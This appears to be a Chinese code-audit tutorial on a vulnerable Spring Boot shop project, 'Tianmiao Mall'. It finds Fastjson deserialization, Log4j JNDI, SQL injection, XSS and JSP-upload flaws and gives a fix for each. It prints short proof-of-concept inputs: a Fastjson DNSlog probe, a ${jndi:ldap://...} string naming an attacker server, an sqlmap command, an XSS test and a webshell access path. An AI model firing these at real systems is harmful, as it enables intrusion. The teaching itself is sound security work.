JAVA代码审计-天喵商城
字数 2235 2025-08-11 08:36:35

天喵商城Java代码审计教学文档

一、项目概述

天喵商城是一个基于Spring Boot的综合性B2C电商平台,模拟天猫商城的购物流程,包含用户注册、登录、商品浏览、购物车、下单、收货、评价等功能。其数据管理后台包含商品管理、订单管理、类别管理、用户管理和交易额统计等模块。

二、环境搭建

1. 环境要求

  • 操作系统:Windows 10
  • Java版本:1.8.0_261
  • MySQL版本:5.7(可使用PHPstudy集成环境)
  • IDE:任意版本的IDEA

2. 部署流程

  1. 使用source命令导入数据库
  2. 启动项目环境

三、代码审计要点

1. 第三方组件漏洞审计

1.1 Fastjson反序列化漏洞(版本1.2.58)

漏洞描述
Fastjson 1.2.58版本存在反序列化漏洞,攻击者可构造恶意JSON数据,在反序列化过程中执行任意代码。

漏洞定位

  • 全局搜索JSON.parseObject()JSON.parse()
  • ProductController.java中发现JSON.parseObject(propertyJson)调用

漏洞验证

  1. 访问"所有产品-添加一件产品"功能
  2. 使用DNSlog进行验证,构造恶意payload:
{"@type":"java.net.Inet4Address","val":"dnslog地址"}

修复建议

  • 升级Fastjson至最新安全版本
  • 对反序列化内容进行严格过滤

1.2 Log4j远程代码执行漏洞(版本2.10.0)

漏洞描述
Log4j 2.10.0版本存在JNDI注入漏洞,攻击者可通过构造恶意日志消息实现远程代码执行。

漏洞定位

  • 全局搜索logger
  • AccountController.java中发现日志记录代码

漏洞验证

  1. 构造包含${jndi:ldap://攻击者服务器/恶意类}的请求
  2. 使用BurpSuite的DNSlog功能验证

修复建议

  • 升级Log4j至2.17.0或更高版本
  • 设置log4j2.formatMsgNoLookups=true

1.3 Mybatis远程代码执行漏洞(版本3.5.1)

漏洞描述
Mybatis < 3.5.6存在远程代码执行漏洞(CVE-2020-26945),但需要满足以下条件:

  1. 启用了内置的二级缓存(默认关闭)
  2. 未设置JEP-290过滤器
  3. 攻击者能修改私有Map字段条目

审计结果

  • 检查mybatis配置文件,未发现<setting name="cacheEnabled" value="true" />
  • 项目未开启二级缓存,故不存在此漏洞

2. SQL注入漏洞

漏洞描述
order by子句中使用$拼接SQL语句可能导致SQL注入。

漏洞定位

  1. 全局搜索$
  2. UserMapper.xml中发现order by ${orderBy} ${isDesc}语句
  3. 逆向追踪到UserServiceImpl.javaUserController.java

漏洞验证
使用SQLmap进行验证:

sqlmap -u "http://目标URL" --data="orderBy=参数" --risk=3 --level=5

修复建议

  • order by参数进行白名单校验
  • 使用预编译语句替代动态拼接

3. XSS跨站脚本漏洞

漏洞描述
系统未对用户输入进行有效过滤,导致存储型和反射型XSS。

审计发现

  • 检查filter层,未发现XSS过滤代码
  • 多处用户输入点未进行编码或过滤

漏洞验证

  1. 在登录框输入<script>alert(1)</script>
  2. 在"我的账户"页面同样可触发XSS

修复建议

  • 实现全局XSS过滤器
  • 对输出内容进行HTML编码
  • 设置HttpOnly和Secure标志

4. 任意文件上传漏洞

漏洞描述
管理员头像上传功能未对文件类型进行严格校验,导致可上传恶意JSP文件。

漏洞定位

  1. 检查上传接口admin/uploadAdminHeadImage
  2. 分析上传逻辑:
    • 获取原始文件名和后缀名
    • 使用UUID重命名文件
    • 未校验文件内容类型

漏洞验证

  1. 构造上传请求,上传JSP Webshell
  2. 访问上传路径获取shell:
/tmall/res/images/item/adminProfilePicture/[随机UUID].jsp

修复建议

  • 校验文件内容类型(MIME类型)
  • 限制上传文件扩展名
  • 将上传目录设置为不可执行
  • 对上传文件重命名

四、总结与修复方案

1. 漏洞总结

漏洞类型 风险等级 影响范围 修复优先级
Fastjson反序列化 高危 全站 紧急
Log4j RCE 高危 全站 紧急
SQL注入 中危 用户数据
XSS 中危 用户端
文件上传 高危 服务器 紧急

2. 整体修复建议

  1. 组件升级

    • 升级Fastjson至最新安全版本
    • 升级Log4j至2.17.0+
    • 升级Mybatis至3.5.6+
  2. 安全加固

    • 实现全局安全过滤器(XSS、SQL注入防护)
    • 严格校验所有用户输入
    • 实现文件上传白名单机制
  3. 安全开发规范

    • 禁止使用$进行SQL拼接
    • 对所有输出进行编码
    • 实现权限最小化原则
  4. 监控与日志

    • 加强安全日志记录
    • 实现异常请求监控
    • 定期进行安全审计

五、参考资源

  1. Fastjson反序列化漏洞分析
  2. Log4j漏洞原理与防护
  3. OWASP Top 10安全指南
  4. 项目原始分析文章链接
天喵商城Java代码审计教学文档 一、项目概述 天喵商城是一个基于Spring Boot的综合性B2C电商平台,模拟天猫商城的购物流程,包含用户注册、登录、商品浏览、购物车、下单、收货、评价等功能。其数据管理后台包含商品管理、订单管理、类别管理、用户管理和交易额统计等模块。 二、环境搭建 1. 环境要求 操作系统:Windows 10 Java版本:1.8.0_ 261 MySQL版本:5.7(可使用PHPstudy集成环境) IDE:任意版本的IDEA 2. 部署流程 使用source命令导入数据库 启动项目环境 三、代码审计要点 1. 第三方组件漏洞审计 1.1 Fastjson反序列化漏洞(版本1.2.58) 漏洞描述 : Fastjson 1.2.58版本存在反序列化漏洞,攻击者可构造恶意JSON数据,在反序列化过程中执行任意代码。 漏洞定位 : 全局搜索 JSON.parseObject() 和 JSON.parse() 在 ProductController.java 中发现 JSON.parseObject(propertyJson) 调用 漏洞验证 : 访问"所有产品-添加一件产品"功能 使用DNSlog进行验证,构造恶意payload: 修复建议 : 升级Fastjson至最新安全版本 对反序列化内容进行严格过滤 1.2 Log4j远程代码执行漏洞(版本2.10.0) 漏洞描述 : Log4j 2.10.0版本存在JNDI注入漏洞,攻击者可通过构造恶意日志消息实现远程代码执行。 漏洞定位 : 全局搜索 logger 在 AccountController.java 中发现日志记录代码 漏洞验证 : 构造包含 ${jndi:ldap://攻击者服务器/恶意类} 的请求 使用BurpSuite的DNSlog功能验证 修复建议 : 升级Log4j至2.17.0或更高版本 设置 log4j2.formatMsgNoLookups=true 1.3 Mybatis远程代码执行漏洞(版本3.5.1) 漏洞描述 : Mybatis < 3.5.6存在远程代码执行漏洞(CVE-2020-26945),但需要满足以下条件: 启用了内置的二级缓存(默认关闭) 未设置JEP-290过滤器 攻击者能修改私有Map字段条目 审计结果 : 检查 mybatis 配置文件,未发现 <setting name="cacheEnabled" value="true" /> 项目未开启二级缓存,故不存在此漏洞 2. SQL注入漏洞 漏洞描述 : 在 order by 子句中使用 $ 拼接SQL语句可能导致SQL注入。 漏洞定位 : 全局搜索 $ 在 UserMapper.xml 中发现 order by ${orderBy} ${isDesc} 语句 逆向追踪到 UserServiceImpl.java 和 UserController.java 漏洞验证 : 使用SQLmap进行验证: 修复建议 : 对 order by 参数进行白名单校验 使用预编译语句替代动态拼接 3. XSS跨站脚本漏洞 漏洞描述 : 系统未对用户输入进行有效过滤,导致存储型和反射型XSS。 审计发现 : 检查filter层,未发现XSS过滤代码 多处用户输入点未进行编码或过滤 漏洞验证 : 在登录框输入 <script>alert(1)</script> 在"我的账户"页面同样可触发XSS 修复建议 : 实现全局XSS过滤器 对输出内容进行HTML编码 设置HttpOnly和Secure标志 4. 任意文件上传漏洞 漏洞描述 : 管理员头像上传功能未对文件类型进行严格校验,导致可上传恶意JSP文件。 漏洞定位 : 检查上传接口 admin/uploadAdminHeadImage 分析上传逻辑: 获取原始文件名和后缀名 使用UUID重命名文件 未校验文件内容类型 漏洞验证 : 构造上传请求,上传JSP Webshell 访问上传路径获取shell: 修复建议 : 校验文件内容类型(MIME类型) 限制上传文件扩展名 将上传目录设置为不可执行 对上传文件重命名 四、总结与修复方案 1. 漏洞总结 | 漏洞类型 | 风险等级 | 影响范围 | 修复优先级 | |---------|---------|---------|-----------| | Fastjson反序列化 | 高危 | 全站 | 紧急 | | Log4j RCE | 高危 | 全站 | 紧急 | | SQL注入 | 中危 | 用户数据 | 高 | | XSS | 中危 | 用户端 | 中 | | 文件上传 | 高危 | 服务器 | 紧急 | 2. 整体修复建议 组件升级 : 升级Fastjson至最新安全版本 升级Log4j至2.17.0+ 升级Mybatis至3.5.6+ 安全加固 : 实现全局安全过滤器(XSS、SQL注入防护) 严格校验所有用户输入 实现文件上传白名单机制 安全开发规范 : 禁止使用 $ 进行SQL拼接 对所有输出进行编码 实现权限最小化原则 监控与日志 : 加强安全日志记录 实现异常请求监控 定期进行安全审计 五、参考资源 Fastjson反序列化漏洞分析 Log4j漏洞原理与防护 OWASP Top 10安全指南 项目原始分析文章链接